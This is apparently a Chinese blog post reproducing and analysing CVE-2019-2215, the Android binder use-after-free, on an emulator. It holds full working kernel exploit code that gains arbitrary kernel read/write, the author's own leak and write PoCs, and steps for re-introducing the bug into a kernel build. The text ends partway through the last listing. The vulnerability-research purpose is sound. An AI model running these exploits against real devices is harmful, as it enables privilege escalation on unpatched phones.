CVE-2019-2215 漏洞复现 - bad binder

影响版本:android kernel 3.18, 4.14, 4.4, 4.9 均受影响

CVE信息:https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-2215

补丁:https://github.com/torvalds/linux/commit/7a3cee43e935b9d526ad07f20bf005ba7e74d05b

漏洞验证

环境搭建

补充一个我的环境信息:x86实体机安装ubuntu20.04,使用 android studio 的 avd 镜像( Nexus 4,Nougat,API-25,armv64-v8a,android 7.1.1 )启动本例中的内核。

下载goldfish源码,patch漏洞到 drivers/android/binder.c,然后编译生成内核文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
git clone <https://android.googlesource.com/kernel/goldfish> -b android-goldfish-4.4-dev
cd goldfish
# 将源码 drivers/android/binder.c 中 binder_thread_release() 函数的如下两个代码片段注释掉
# /*
# if (thread->looper & BINDER_LOOPER_STATE_POLL)
# wake_up_pollfree(&thread->wait);
# */
# // ......
# /*
# if (thread->looper & BINDER_LOOPER_STATE_POLL)
# synchronize_rcu();
# */
make ARCH=arm64 arm64_ranchu_defconfig
make ARCH=arm64 CC=/home/bling/Downloads/android-ndk-r18b/toolchains/llvm/prebuilt/linux-x86_64/bin/clang CLANG_TRIPLE=aarch64-linux-gnu- CROSS_COMPILE=/home/bling/Downloads/android-ndk-r12b/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin/aarch64-linux-android- -j8

如何加载启动该内核文件可参考我之前的文章:android 模拟器 goldfish 环境搭建

poc

poc 来自 project-zero:Issue 1942: Android: Use-After-Free in Binder driver

共有两个poc,一个是触发崩溃的简单poc,另一个poc利用漏洞达成了任意地址读写。

  1. 触发系统崩溃的poc如下(需要内核开启KASAN,否则检测不到UAF)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include <fcntl.h>
    #include <sys/epoll.h>
    #include <sys/ioctl.h>
    #include <unistd.h>

    #define BINDER_THREAD_EXIT 0x40046208ul

    int main()
    {
    int fd, epfd;
    struct epoll_event event = { .events = EPOLLIN };

    fd = open("/dev/binder0", O_RDONLY);
    epfd = epoll_create(1000);
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    }
  2. 利用漏洞达成任意地址写的poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    #define _GNU_SOURCE
    #include <stdbool.h>
    #include <sys/mman.h>
    #include <sys/wait.h>
    #include <ctype.h>
    #include <sys/uio.h>
    #include <err.h>
    #include <sched.h>
    #include <fcntl.h>
    #include <sys/epoll.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <linux/sched.h>
    #include <string.h>
    #include <sys/prctl.h>
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <errno.h>

    #define BINDER_THREAD_EXIT 0x40046208ul
    // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
    #define BINDER_THREAD_SZ 0x190
    #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
    #define WAITQUEUE_OFFSET 0xA0
    #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10

    void hexdump_memory(unsigned char *buf, size_t byte_count) {
    unsigned long byte_offset_start = 0;
    if (byte_count % 16)
    errx(1, "hexdump_memory called with non-full line");
    for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
    byte_offset += 16) {
    char line[1000];
    char *linep = line;
    linep += sprintf(linep, "%08lx ", byte_offset);
    for (int i=0; i<16; i++) {
    linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
    }
    linep += sprintf(linep, " |");
    for (int i=0; i<16; i++) {
    char c = buf[byte_offset + i];
    if (isalnum(c) || ispunct(c) || c == ' ') {
    *(linep++) = c;
    } else {
    *(linep++) = '.';
    }
    }
    linep += sprintf(linep, "|");
    puts(line);
    }
    }

    int epfd;

    void *dummy_page_4g_aligned;
    unsigned long current_ptr;
    int binder_fd;

    void leak_task_struct(void)
    {
    struct epoll_event event = { .events = EPOLLIN };
    if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

    struct iovec iovec_array[IOVEC_ARRAY_SZ];
    memset(iovec_array, 0, sizeof(iovec_array));

    iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
    iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
    iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
    iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;

    int b;

    int pipefd[2];
    if (pipe(pipefd)) err(1, "pipe");
    if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
    static char page_buffer[0x1000];
    //if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");

    pid_t fork_ret = fork();
    if (fork_ret == -1) err(1, "fork");
    if (fork_ret == 0){
    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    // first page: dummy data
    if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
    close(pipefd[1]);
    printf("CHILD: Finished write to FIFO.\n");

    exit(0);
    }
    //printf("PARENT: Calling READV\n");
    ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
    b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
    printf("writev() returns 0x%x\n", (unsigned int)b);
    // second page: leaked data
    if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
    //hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));

    printf("PARENT: Finished calling READV\n");
    int status;
    if (wait(&status) != fork_ret) err(1, "wait");

    current_ptr = *(unsigned long *)(page_buffer + 0xe8);
    printf("current_ptr == 0x%lx\n", current_ptr);
    }

    void clobber_addr_limit(void)
    {
    struct epoll_event event = { .events = EPOLLIN };
    if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

    struct iovec iovec_array[IOVEC_ARRAY_SZ];
    memset(iovec_array, 0, sizeof(iovec_array));

    unsigned long second_write_chunk[] = {
    1, /* iov_len */
    0xdeadbeef, /* iov_base (already used) */
    0x8 + 2 * 0x10, /* iov_len (already used) */
    current_ptr + 0x8, /* next iov_base (addr_limit) */
    8, /* next iov_len (sizeof(addr_limit)) */
    0xfffffffffffffffe /* value to write */
    };

    iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
    iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
    iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
    iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
    iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
    iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
    if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");

    pid_t fork_ret = fork();
    if (fork_ret == -1) err(1, "fork");
    if (fork_ret == 0){
    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
    err(1, "write second chunk to socket");
    exit(0);
    }
    ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
    struct msghdr msg = {
    .msg_iov = iovec_array,
    .msg_iovlen = IOVEC_ARRAY_SZ
    };
    int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
    printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
    (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
    iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
    iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
    }

    int kernel_rw_pipe[2];
    void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
    errno = 0;
    if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
    if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
    if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
    }
    void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
    errno = 0;
    if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
    if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory");
    if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
    }
    unsigned long kernel_read_ulong(unsigned long kaddr) {
    unsigned long data;
    kernel_read(kaddr, &data, sizeof(data));
    return data;
    }
    void kernel_write_ulong(unsigned long kaddr, unsigned long data) {
    kernel_write(kaddr, &data, sizeof(data));
    }
    void kernel_write_uint(unsigned long kaddr, unsigned int data) {
    kernel_write(kaddr, &data, sizeof(data));
    }

    // Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
    // data from `pahole` on my own build with the same .config
    #define OFFSET__task_struct__mm 0x520
    #define OFFSET__task_struct__cred 0x790
    #define OFFSET__mm_struct__user_ns 0x300
    #define OFFSET__uts_namespace__name__version 0xc7
    // SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
    #define SYMBOL__init_user_ns 0x202f2c8
    #define SYMBOL__init_task 0x20257d0
    #define SYMBOL__init_uts_ns 0x20255c0

    int main(void) {
    printf("Starting POC\n");
    //pin_to(0);

    dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (dummy_page_4g_aligned != (void*)0x100000000UL)
    err(1, "mmap 4g aligned");
    if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");

    binder_fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    leak_task_struct();
    clobber_addr_limit();

    setbuf(stdout, NULL);
    printf("should have stable kernel R/W now\n");

    /* in case you want to do stuff with the creds, to show that you can get them: */
    unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
    printf("current->mm == 0x%lx\n", current_mm);
    unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
    printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
    unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
    printf("kernel base is 0x%lx\n", kernel_base);
    if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
    unsigned long init_task = kernel_base + SYMBOL__init_task;
    printf("&init_task == 0x%lx\n", init_task);
    unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
    printf("init_task.cred == 0x%lx\n", init_task_cred);
    unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
    printf("current->cred == 0x%lx\n", my_cred);

    unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;
    char new_uts_version[] = "EXPLOITED KERNEL";
    kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));
    }

    本地虚拟机环境中测试结果如下:

    image-20231114003909568

漏洞分析

使用epoll监听binder fd时,在内核binder_poll()函数执行流程中,会申请一个大小为0x198的结构体binder_thread,并将其与epoll_entry建立链接。然而,通过 BINDER_THREAD_EXIT 释放binder时,binder_thread_release() 函数会释放binder_thread堆块,却并未将其从epoll_entry的链表上删除。于是后续进程退出时,epoll机制尝试访问这个链表的内容,产生了UAF(kmalloc-512)。

通过第一个poc,分析触发漏洞的调用流程。如下:

  1. fd = open("/dev/binder0", O_RDONLY);

    对应调用到内核态的 binder_open() 函数,代码逻辑不多。在该函数中,主要做了两件事:一是为 struct binder_proc 申请一块内存,并初始化结构体中的成员。另一件事是将该结构体给 filep→private_data

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    static int binder_open(struct inode *nodp, struct file *filp)
    {
    struct binder_proc *proc;
    /* ... */
    proc = kzalloc(sizeof(*proc), GFP_KERNEL); /* 为 struct binder_proc 申请一块堆空间 */
    /* ... */
    filp->private_data = proc; /* 其他系统调用可以通过fd访问proc堆块 */
    /* ... */
    return 0;
    }
  2. epfd = epoll_create(1000);

    创建一个epoll句柄,参数表明要监听的描述符数量。

    1
    2
    // 申请 struct eventpoll 结构体的位置
    epoll_create() -> epoll_create1() -> ep_alloc() -> ep = kzalloc(sizeof(*ep), GFP_KERNEL);
  3. epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);

    注册要监听的事件类型:

    • 参数1 — epoll句柄
    • 参数2 — 操作类型,有EPOLL_CTL_ADD、EPOLL_CTL_MOD、EPOLL_CTL_DEL三种
    • 参数3 — 要监听的描述符
    • 参数4 — 要监听的事件,通过 struct epoll_event 封装,常见的有 EPOLLIN、EPOLLOUT

    这个调用中需要关注两个结构体的申请(struct binder_thread,struct epoll_entry),以及二者是如何联系到一起的(list_add(&epoll_entry->wait->task_list, &binder_thread->wait->task_list);)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 申请 struct epitem 结构体的位置
    epoll_ctl() -EPOLL_CTL_ADD-> ep_insert() -> epi = kmem_cache_alloc(epi_cache, GFP_KERNEL);

    // 申请 struct binder_thread 结构体的位置
    epoll_ctl() -EPOLL_CTL_ADD-> ep_insert() -> ep_item_poll() -> binder_poll() -> binder_get_thread() -> new_thread = kzalloc(sizeof(*thread), GFP_KERNEL);

    // 申请 struct eppoll_entry 结构体的位置
    epoll_ctl() -EPOLL_CTL_ADD-> ep_insert() -> ep_item_poll() -> binder_poll() -> poll_wait() -> ep_ptable_queue_proc() -> pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL);

    // 连接调用链:将 epoll_entry->wait 连接到 binder_thread->wait
    epoll_ctl() -EPOLL_CTL_ADD-> ep_insert() -> ep_item_poll() -> binder_poll() -> poll_wait() -> ep_ptable_queue_proc() -> add_wait_queue() -> __add_wait_queue() -> list_add()
  4. ioctl(fd, BINDER_THREAD_EXIT, NULL);

    通过 BINDER_THREAD_EXIT 告知binder驱动,binder线程已退出,于是驱动会将对应的binder_thread对象销毁。

    但问题在于 binder_thread_release() 函数中,释放了 binder_thread ,却未删除它跟 epoll_entry 之间建立的链接。后续通过epoll可以继续对 binder_thread 进行一些操作,于是UAF产生了。

    1
    2
    // 释放 struct binder_thread 结构体的位置
    binder_ioctl() -BINDER_THREAD_EXIT-> binder_thread_release() -> binder_thread_dec_tmpref() -> binder_free_thread() -> kfree(thread);

    执行完 BINDER_THREAD_EXIT 后,epoll_entry结构体中链接情况如下:

    1
    2
    3
    4
    5
    6
    struct epoll_entry {
    struct list_head llink;
    struct epitem *base; -》 指向epitem
    wait_queue_t wait; -》链到binder_thread->wait
    wait_queue_head_t *whead; -》 指向binder_thread->wait // 漏洞原因:释放binder_thread时,未删除该引用和链接。导致后续检查时以为它还在链表中
    };

弄明白binder_thread是如何被释放的后,再看一下后续流程可能使用到该结构体的地方。有两条路径可以触发链表删除操作:

  • 进程退出时调用 do_exit() 函数

    1
    2
    // 删除调用链:将 epoll_entry->wait 从 binder_thread->wait 上删除
    do_exit() -......-> ep_eventpoll_release() -> ep_free() -> ep_unregister_pollwait() -> ep_remove_wait_queue() -> remove_wait_queue() -> __remove_wait_queue() -> list_del()
  • 通过 epoll_ctl() 指定 EPOLL_CTL_DEL

    1
    2
    // 另一条删除调用链
    epoll_ctl() -EPOLL_CTL_DEL-> ep_remove() -> ep_unregister_pollwait() -> ep_remove_wait_queue() -> remove_wait_queue() -> __remove_wait_queue() -> list_del()

在后续的利用中,我们会选择 epoll_ctl() 这条路径(因为do_exit() 后进程不存在了,也就没法继续下一步利用了)。

另外需要注意,remove_wait_queue() 中会取 binder_thread->wait->lock 锁,所以利用时需要将堆块中该位置的四个字节设置成全0。 在后面exp中的体现是iovec_array[10].iov_base 的 dummy_page_4g_aligned。

漏洞利用

利用的难点在于,只有一个删除链表的操作,如何扩大能力。

作者巧妙地使用了 iovec 的特性,为了完成读和写的功能,分别使用了 “pipe+writev” 和 “socket的recvmsg”。

利用的主要逻辑:

  1. 使用多个 iovec 结构体占用任意大小的堆块(本例为kmalloc-512)
  2. 利用UAF漏洞的Use,在一定限度内改写堆块内容,也即 iovec.iov_baseiovec.iov_len
  3. 通过”合理操作“ iovec,读/写改过的 iov_base,达成信息泄露,或者**”任意/固定”地址写**

本例中的”合理操作“使用了 pipe( fcntl 调整 pipe 大小)以及recvmsg。

信息泄露

通过 “pipe+writev” 可以泄露 binder_thread 中本进程的 task_struct 地址。为什么要泄露这个地址呢?因为这个内核中,thread_info不是存在栈中,而是存放在进程的task_struct中。泄露了task_struct,就得到了 thread_info->addr_limit 的地址,后续利用中改完addr_limit 就可以通过pipe系统调用任意读写内核。

我们来了解一下删除调用链的过程:将 epoll_entry->wait 从 binder_thread->wait 上删除

1
ep_unregister_pollwait() -> ep_remove_wait_queue() -> remove_wait_queue() -> __remove_wait_queue() -> list_del()

正常情况下,删除链表的过程如下图所示

image-20231120012417409

由于 struct binder_thread 存在 UAF,假如使用 struct iovec 占用被free的堆块,删除链表的过程如下图所示

image-20231120012502976

可以看到,用于 pipe_write() 的 iovec_array[11].iov_base 被覆盖成了堆地址。所以,如果管道在处理完 iovec_array[10] 后,停下来一会儿(在这期间执行删除链表操作),那么接下来继续使用 iovec_array[11] 时,就会将堆上的内容拷贝到管道缓冲区中,用户态通过读取管道内容就能泄露堆上的信息。恰巧 struct binder_thread->task 中存储了当前进程的 struct task_struct (实在是太巧…),于是进程管理结构的地址就被泄露了。

确认一下两个堆块的属性:

  • binder_thread的申请

    1
    new_thread = kzalloc(sizeof(*thread), GFP_KERNEL);    // sizeof(strcut binder_thread): 0x198
  • iov的申请

    1
    iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);    // sizeof(struct iovec): 0x10

两者都使用了GFP_KERNEL属性,所以,只要大小一样,UAF后就有可能分配到同一堆块(kmalloc-512)。

为了覆盖 struct binder_thread->wait,nr_segs至少需要12个。为了分配到 kmalloc-512 的堆块,nr_regs 需要为 17~32 之间的一个数。我们取20。

信息泄露的poc执行流程如图所示:

image-20231120012800183

poc源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
// leak_pthread.c
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>


#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}




#define BINDER_THREAD_EXIT 0x40046208ul

#define IOVEC_NUM 20

int binder_fd, epfd;
int pipe_fd[2];
char* temp_buffer;

void *dummy_page_4g_aligned;

void* trigger_list_del(void* arg){
printf("in child thread\n");
struct epoll_event event = { .events = EPOLLIN };
sleep(2);
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
read(pipe_fd[0], temp_buffer, 0x1000); // 读取iovec_array[10].base指向的0x1000字节
printf("in child: exiting\n");
// close(pipe_fd[1]);
pthread_exit(NULL);
// return 0;
}

int main(){
dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);


// prepare
struct epoll_event event = { .events = EPOLLIN };
binder_fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event);

// set iovec
struct iovec iovec_array[IOVEC_NUM];
temp_buffer = malloc(0x1000);

memset(iovec_array, 0x0, sizeof(iovec_array));
memset(temp_buffer, 0x0, 0x1000);

iovec_array[10].iov_base = dummy_page_4g_aligned; // for lock
iovec_array[10].iov_len = 0x1000;
iovec_array[11].iov_base = dummy_page_4g_aligned+0x1000;
iovec_array[11].iov_len = 0x1000;

pipe(pipe_fd);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000); // 管道大小限制成0x1000,为制造停顿

pthread_t thr1;
pthread_create(&thr1, NULL, trigger_list_del, NULL);

printf("in father thread\n");
// free binder_thread
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
// get heap
int b = writev(pipe_fd[1], iovec_array, IOVEC_NUM);
printf("writev : 0x%x\n",b);

read(pipe_fd[0], temp_buffer, 0x1000); // 读取iovec_array[11].base指向的0x1000字节,即binder_thread->wait->task_list
hexdump(temp_buffer, 0x1000);

printf("waiting thread...\n");
pthread_join(thr1,NULL);


return 0;
}

任意地址写

构造任意地址写之前,先回忆一下信息泄露的过程:

信息泄露:

  • 使用 pipe writev 占用释放的heap
  • Use(删链操作):使得 writev 中,iov[11].iov_base 被更改为堆地址(即strcut binder_thread->wait->task_list 的地址),恰好堆中有 struct task_struct 的地址。堆的内容会被写入管道,用户态通过 read pipe 就可以泄露出struct task_struct 的地址。

那么,可不可以用 pipe readv 占用释放的heap,从而达到任意地址写呢?答案时不可以,原因如下:

  • 首先,pipe_read() 在成功读取一段内容后,不会在内核中停留,而是直接返回用户态。代码逻辑如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    if (!pipe->waiting_writers) {
    /* syscall merging: Usually we must not sleep
    * if O_NONBLOCK is set, or if we got some data.
    * But if a writer sleeps in kernel space, then
    * we can wait for that data without violating POSIX.
    */
    if (ret) // ret是当前成功读取到的数据大小,不为0的话,就从这里回用户态了,不会block
    break;
    if (filp->f_flags & O_NONBLOCK) {
    ret = -EAGAIN;
    break;
    }
    }

    举个例子,假如管道中有0x100字节的内容,使用 pipe_read() 从管道读 0x1000 字节的结果是:将0x100字节读完,然后返回用户态。

  • 其次,如果管道中数据为空,pipe_read进内核后,会直接block,完全不会进入处理iov的代码。

    1
    2
    3
    4
    5
    6
    7
    8
    for (;;) {
    int bufs = pipe->nrbufs; // 如果管道为空,nrbufs为0
    if (bufs) {
    /* ... */ // iov处理逻辑
    }
    /* ... */
    pipe_wait(pipe);
    }

    所以,想要通过构造如下iovec,使 pipe_read() 停在 iov_array[11] 处,是不可能的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    iov_array[0].iov_base = 0;
    iov_array[0].iov_len = 0;
    iov_array[1].iov_base = 0;
    iov_array[1].iov_len = 0;
    [...]
    iov_array[10].iov_base = dummy_addr;
    iov_array[10].iov_len = 0;
    iov_array[11].iov_base = 0xdeadbeef;
    iov_array[11].iov_len = 0x28;
    iov_array[12].iov_base = 0xdeadbeef;
    iov_array[12].iov_len = 0x8;
    [...]

另一个使用iovec并可以接收数据的函数是socket的 recvmsg() 函数,通过传递 MSG_WAITALL 标志,可以让线程在内核中陷入等待,直至接收到指定大小的数据量。

所以,任意地址写的思路如下:

  • 使用 socket recvmsg 占用释放的heap
  • Use:删链操作使得 recvmsg 内核态中 iov[11].iov_base 被更改为堆地址(即strcut binder_thread->wait->task_list 的地址,也就是 iov[10].iov_len 处)。那么下次接收到的信息将被依次写入 iov[10].iov_leniov[11].iov_baseiov[11].iov_leniov[12].iov_base , 等等。那么现在就可通过控制写入的内容,将 iov[12].iov_base 改成任意地址(内核态地址,检查的地方已过),iov[12].iov_len 改成要写入的长度(这里只需写8个字节,0xfffffffffffffffe)。

这里多写一句,为什么不在一开始将内核地址写到 iovec 中,而是通过删链写?

因为 recvmsg 的处理流程中,将用户态指定的各个 iovec 拷贝进内核 iovec buffer后 ,会检查各个 iovec.iov_base 是否为用户态地址(rw_copy_check_uvector() 函数),如果不是就会返回错误。所以不能从一开始就将内核地址写入 iovec 中。

由于之前检查过,所以在后面这段使用 iovec 的代码里就不重复检查了,只确认一下地址能访问就行。这也是我们能利用成功的关键。

该部分完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
// leak_pthread_aaw.c
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#include <sys/types.h>
#define BINDER_THREAD_EXIT 0x40046208

#define IOVEC_NUM 20

int binder_fd, epfd;
int pipe_fd[2];
char* temp_buffer;

void *dummy_page_4g_aligned;
unsigned long task_struct_addr;
int socks[2];

void* trigger_list_del(void* arg){
struct epoll_event event = { .events = EPOLLIN };
sleep(2); // waiting the free and occupy
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); // ***
read(pipe_fd[0], temp_buffer, 0x1000); // let writev continue execute
pthread_exit(NULL);
}


void* write_sth(void* arg){
struct epoll_event event = { .events = EPOLLIN };
sleep(2); // waiting the free and occupy

unsigned long rewrite_data[] = {
1,
0xdeadbeef, // 被覆盖成iov_array[10].iov_len的地址,随便填即可
0x28,
task_struct_addr+0x8, /* 任意地址 */
0x8,
0xfffffffffffffffe /* 任意值 */
};

epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); // *** list_del

